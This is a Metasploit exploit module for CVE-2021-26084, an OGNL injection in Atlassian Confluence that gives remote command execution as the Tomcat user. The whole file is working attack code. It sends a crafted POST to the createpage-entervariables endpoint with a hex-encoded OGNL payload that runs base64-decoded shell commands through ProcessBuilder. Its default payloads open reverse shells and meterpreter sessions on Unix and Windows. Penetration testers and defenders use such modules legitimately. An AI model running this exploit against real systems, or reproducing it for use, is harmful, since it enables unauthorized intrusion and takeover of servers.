##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Module::Deprecated

  # Added Windows support
  moved_from 'exploit/linux/http/atlassian_confluence_webwork_ognl_injection'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Confluence WebWork OGNL Injection',
        'Description' => %q{
          This module exploits an OGNL injection in Atlassian Confluence's
          WebWork component to execute commands as the Tomcat user.
        },
        'Author' => [
          'Benny Jacob', # Discovery
          'Jang', # Analysis
          'wvu' # Analysis and exploit
        ],
        'References' => [
          ['CVE', '2021-26084'],
          ['URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html'],
          ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-67940'],
          ['URL', 'https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis'],
          ['URL', 'https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md'],
          ['URL', 'https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455'],
          ['URL', 'https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6']
        ],
        'DisclosureDate' => '2021-08-25',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux', 'win'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_perl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8090
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    token1 = rand_text_alphanumeric(8..16)
    token2 = rand_text_alphanumeric(8..16)
    token3 = rand_text_alphanumeric(8..16)

    res = inject_ognl("#{token1}'+'#{token2}'+'#{token3}")

    return CheckCode::Unknown unless res

    unless res.code == 200 && res.body.include?("#{token1}#{token2}#{token3}")
      return CheckCode::Safe('Failed to test OGNL injection.')
    end

    CheckCode::Vulnerable('Successfully tested OGNL injection.')
  end

  def exploit
    print_status("Executing #{payload_instance.refname} (#{target.name})")

    case target['Type']
    when :cmd
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    when :psh
      execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
    end
  end

  def execute_command(cmd, _opts = {})
    res = inject_ognl(ognl_payload(cmd))

    unless res&.code == 200 && res.body.match?(/queryString.*Process.*pid.*exitValue/)
      fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
    end

    vprint_good("Successfully executed command: #{cmd}")
  end

  def inject_ognl(ognl)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/pages/createpage-entervariables.action'),
      'vars_post' => {
        # https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/JavaCharStream.html
        # https://github.com/jkuhnert/ognl/blob/f4e18cda6a89bcdad15c617c0d94013a854a1e93/src/main/java/ognl/JavaCharStream.java#L324-L341
        'queryString' => Rex::Text.to_hex(ognl, '\\u00')
      }
    )
  end

  def ognl_payload(cmd)
    # https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#expression-language-el---code-execution
    # https://www.tutorialspoint.com/java/lang/class_forname_loader.htm
    # https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html
    # https://docs.oracle.com/javase/8/docs/api/java/util/Base64.Decoder.html
    <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
      '+Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval('
        new java.lang.ProcessBuilder(
          #{target_shell},
          new java.lang.String(
            java.util.Base64.getDecoder().decode("#{Rex::Text.encode_base64(cmd)}")
          )
        ).start()
      ')+'
    OGNL
  end

  def target_shell
    target['Platform'] == 'win' ? '"cmd.exe","/c"' : '"/bin/sh","-c"'
  end

end
